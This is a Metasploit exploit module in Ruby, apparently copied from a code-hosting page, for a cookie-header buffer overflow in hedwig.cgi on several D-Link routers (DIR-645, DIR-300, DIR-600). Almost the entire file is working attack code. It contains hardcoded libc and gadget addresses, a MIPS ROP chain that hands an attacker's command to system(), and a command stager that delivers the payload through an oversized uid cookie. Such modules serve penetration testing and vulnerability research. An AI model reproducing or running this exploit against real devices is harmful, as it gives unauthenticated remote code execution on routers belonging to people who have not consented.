133 lines
5.2 KiB
Ruby
133 lines
5.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header',
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'Description' => %q{
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This module exploits an anonymous remote code execution vulnerability on several D-Link
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routers. The vulnerability exists in the handling of HTTP queries to the hedwig.cgi with
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long value cookies. This module has been tested successfully on D-Link DIR300v2.14, DIR600
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and the DIR645A1_FW103B11 firmware.
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},
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'Author' =>
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[
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'Roberto Paleari', # Vulnerability discovery
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'Craig Heffner', # also discovered the vulnerability / help with some parts of this exploit
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'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other routers
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['OSVDB', '95950'],
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['EDB', '27283'],
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['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site
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['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router
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['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory
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],
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'Platform' => 'linux',
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'Arch' => ARCH_MIPSLE,
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'Targets' =>
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[
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[ 'Multiple Targets: D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600',
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{
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'Offset' => 973,
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'LibcBase' => 0x2aaf8000, # Router
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#'LibcBase' => 0x40854000, # QEMU environment
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'System' => 0x000531FF, # address of system
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'CalcSystem' => 0x000158C8, # calculate the correct address of system
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'CallSystem' => 0x000159CC, # call our system
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}
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]
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],
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'DisclosureDate' => 'Feb 08 2013',
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'DefaultTarget' => 0))
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deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
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end
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def check
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begin
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res = send_request_cgi({
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'uri' => "/hedwig.cgi",
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'method' => 'GET'
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})
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if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /unsupported HTTP request/
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return Exploit::CheckCode::Detected
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end
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rescue ::Rex::ConnectionError
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return Exploit::CheckCode::Unknown
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end
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Exploit::CheckCode::Unknown
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end
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def exploit
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print_status("Accessing the vulnerable URL...")
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unless check == Exploit::CheckCode::Detected
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fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
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end
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print_status("Exploiting...")
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execute_cmdstager(
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:flavor => :echo,
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:linemax => 200,
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:concat_operator => " && "
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)
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end
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def prepare_shellcode(cmd)
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shellcode = rand_text_alpha_upper(target['Offset']) # padding
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shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system
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shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4
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shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system)
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# .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5
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# .text:000159D0 21 28 60 02 move $a1, $s3 # not used
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# .text:000159D4 21 30 20 02 move $a2, $s1 # not used
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# .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system
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# .text:000159DC 09 F8 20 03 jalr $t9 # call system
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# .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system
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shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp
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shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system)
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# .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget
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# .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget
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# .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address
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shellcode << rand_text_alpha_upper(16) # filler in front of our command
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shellcode << cmd
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end
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def execute_command(cmd, opts)
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shellcode = prepare_shellcode(cmd)
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begin
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "/hedwig.cgi",
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'cookie' => "uid=#{shellcode}",
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'encode_params' => false,
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'vars_post' => {
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rand_text_alpha(4) => rand_text_alpha(4)
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}
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})
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return res
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
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end
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end
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end
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